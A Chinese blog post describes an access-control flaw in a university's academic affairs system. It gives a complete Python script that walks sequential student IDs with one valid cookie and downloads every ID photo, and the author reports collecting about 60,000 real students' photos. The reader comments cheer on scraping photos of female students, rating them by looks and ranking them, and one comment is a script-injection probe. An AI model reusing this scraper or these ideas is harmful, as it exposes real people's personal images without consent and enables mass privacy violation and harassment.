MENU

青岛某高校教务漏洞-近6万证件照泄露

January 11, 2016 • 安全

前几天学校组织评教,之前没有怎么研究过教务。记得Wosz说他们的正方教务可以爬证件照,于是萌生了好奇心...

漏洞描述


打开教务的个人信息,可以在右侧看见个人证件照。

info.png

使用审查元素,发现了图片url,明显不是直接xx.jpg加载出来的

审查元素.png

按照逻辑,下一个学生的证件照在我id之后。然而填上后发现,显示暂无照片。于是继续遍历,终于出现在我学号之后的学生的证件照,找出了一个id递增的规律。

F956AB3D-73CA-4640-8E53-2D54256420C4.png

将图片URL直接打开,可以看见xxxx.jsdo?=xxx??,但是全部显示乱码。然而不难看见,开头有"JFIF",正是JPG的文件头。

CA2BB09B-2BF9-45C4-AC2D-421A31F5DC9D.png

漏洞验证


使用抓包工具,先用一个错误的Cookie发送get到教务,发现返回302,并跳转到教务登陆页

D4FD715E-C3FA-41FD-8433-2C339275A740.png

而使用正确的Cookie,直接得到200的报文,证明该URL可以被批量访问

E3211ED1-C234-4BEF-8288-3D57EAA3C6CE.png

漏洞利用


到此大概明白,图片URL用的xxxx.jsdo就是将原来的JPEG编码转成二进制之后,再用ASCII打印出来。不用xxxx.jpg是防止被批量下载,不过这种方式并不安全,有耐性的同学可以通过下载页面后更改后缀,然后打开图片。

如果想批量爬取也很简单,只需要遍历id,根据规律过滤掉暂无照片.jpg,然后将浏览器上获取的Cookie在Python模拟登陆一下,再将URL获取的二进制通过转换成JPG保存到本地。


这里我们使用 Python Imaging Library (PIL) 操作图片IO以及过滤掉"暂无图片"

Install Pillow with pip:

$ pip install Pillow

Or use easy_install for installing Python Eggs as pip does not support them:

$ easy_install Pillow

Or download and extract the compressed archive from PyPI and inside it run:

$ python setup.py install

PIL文档 http://pillow.readthedocs.org/en/3.0.x/index.html


使用Requests库实现模拟登陆

for id in range(start_id,end_id,step):
  str_id = str(id)
  pic_url='http://jw.xxx.edu.cn/academic/student/studentinfo/loadphoto_added.jsdo?primary=userid&kind=student&userid='+str_id
  binary = requests.get(pic_url,headers=headers)#发送URL和header,并且返回binary
  if(binary.url == 'http://jw.xxx.edu.cn/academic/common/security/login.jsp'):#检测返回binary的URL是否为cookie失败后的登陆页面
    print 'Cookie无效,请更换Cookie!'
    sys.exit(0)
  else:
    jpg = Image.open(StringIO(binary.content))#使binary转成jpg
    if(jpg.size == (90, 120) ):#根据大小检测遍历的图片是否为"暂无图片"
      print 'Not useful image : '+str_id+'.jpg'
      jpg.close()
    else:
      jpg.save('pic/'+str_id+'.jpg')#保存至pic/xx.jpg
      jpg.close()
      print 'Successful to save image : '+str_id+'.jpg'

疑问:查阅文档并没有说明PIL库如何关闭图片,防止在内存打开JPG而没有关闭造成的浪费,所以最后也用了close()函数(并不知道有没有用...)

爬虫代码


#!/usr/bin/python
# encoding:utf-8
import requests
import sys
from PIL import Image
from StringIO import StringIO

start_id = 478131 #开始的学生ID
end_id = 666666 #结束的学生ID
step = 1 #遍历步长
Cookie = 'xxxxxx'#填入教务Cookie
headers = {
  'Host': 'jw.xxx.edu.cn',
  'Proxy-Connection': 'keep-alive',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
  'Upgrade-Insecure-Requests': '1',
  'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36',
  'Referer': 'http://jw.xxx.edu.cn/academic/showHeader.do',
  'Accept-Encoding': 'gzip, deflate, sdch',
  'Accept-Language': 'zh-CN,zh;q=0.8',
  'Cookie': Cookie
}
for id in range(start_id,end_id,step):
  str_id = str(id)
  pic_url='http://jw.xxx.edu.cn/academic/student/studentinfo/loadphoto_added.jsdo?primary=userid&kind=student&userid='+str_id
  binary = requests.get(pic_url,headers=headers)#发送URL和header,并且返回binary
  if(binary.url == 'http://jw.xxx.edu.cn/academic/common/security/login.jsp'):#检测返回binary的URL是否为cookie失败后的登陆页面
    print 'Cookie无效,请更换Cookie!'
    sys.exit(0)
  else:
    jpg = Image.open(StringIO(binary.content))#使binary转成jpg
    if(jpg.size == (90, 120) ):#根据大小检测遍历的图片是否为"暂无图片"
      print 'Not useful image : '+str_id+'.jpg' #输出显示"暂无图片"的ID
      jpg.close()
    else:
      jpg.save('pic/'+str_id+'.jpg') #保存至pic/xx.jpg
      jpg.close()
      print 'Successful to save image : '+str_id+'.jpg' #输出成功保存图片的ID

Github : https://github.com/pwfee/jw_photo_spider

Screen Shot 2016-01-12 at 8.39.27 PM.png

总结


爬了某个id段一个小时,抓到约6W证件照。

7E3B725B-F440-4538-B262-F32540C8FF9D.png

搜索发现,很多教务系统都存在这个爬照漏洞,解决方法...不明

本文仅作安全测试之用,切勿用于非法用途!

Archives QR Code
QR Code for this page
Tipping QR Code
Leave a Comment

已有 21 条评论
  1. 嘻嘻
    我不是从正方那里爬的。
    我最近为了我的大想法爬了1w3的师姐师妹的证件照。

    1. @Wosz证件照不都放在教务咩,你爬的时候还能按性别分类?..

    2. @Vins0n我们那边证件照还有个地方可以放(学生信息管理系统
      学号的格式里有一位是跟性别有关,所以可以指定性别。

    3. @Woszget..就是上次那个爆身份证号咯

  2. 哈哈,你也发现了啊,我也爬了一遍

    1. @Kyle是啊,不过在外网爬完几W要很长时间...Python还在学习中..加上多线程就快多了...

    2. @Vins0n留个联系方式如何,学习一下

  3. 还有更好玩的,可以遍历到学校老师,搞得账号就有所有学生信息了,由于比较懒,没继续搞

    1. @Kyle毕竟教务..不能乱来啊,最多也就看看照片了..

  4. hahaha ,之前拿下正方后 也有过下载照片的想法,并加入了个颜值判断,自动过滤美女
    http://www.ohvirus.com/how-to-find-the-beauty-in-the-crowd

    期待与阁下交流学习

    1. @pr0mise这个很好玩啊!将API把爬到的照片返回json处理下,做个评分,然后用Django写个Ranklist网站,有点Excited!(话说贵站没有评论版啊

    2. pr0mise pr0mise

      @Vins0n哈哈哈 写个排行榜的话 在校内兴许会挺受欢迎
      我站用的github pages, 准备换个模板,之前的模板确实没有评论...

      你是青大的吗? 我有个小妹子在青大呢

    3. @pr0mise看到你注释Disqus啦(是啊,被发现了....

  5. 终于,我渐渐能看懂你博客的内容了。。

    1. @osheevn。。本来就写得很水啊,墨神轻拍;)

  6. test test

    又搞教务。。正方似乎不能直接获取的吧,需要登录

  7. thecat thecat

    如果cookie不一样你是怎么拿到其他人的照片的啊,我只能通过管理员账号拿到。遍历学号是不管用的。

    1. @thecat这个教务系统有点小众,有一个能登陆进去的cookie就能爬了,所以才叫“漏洞”…

  8. alert('学长好啊')

  9. 哈喽哈喽

    1. @shakalakaHello~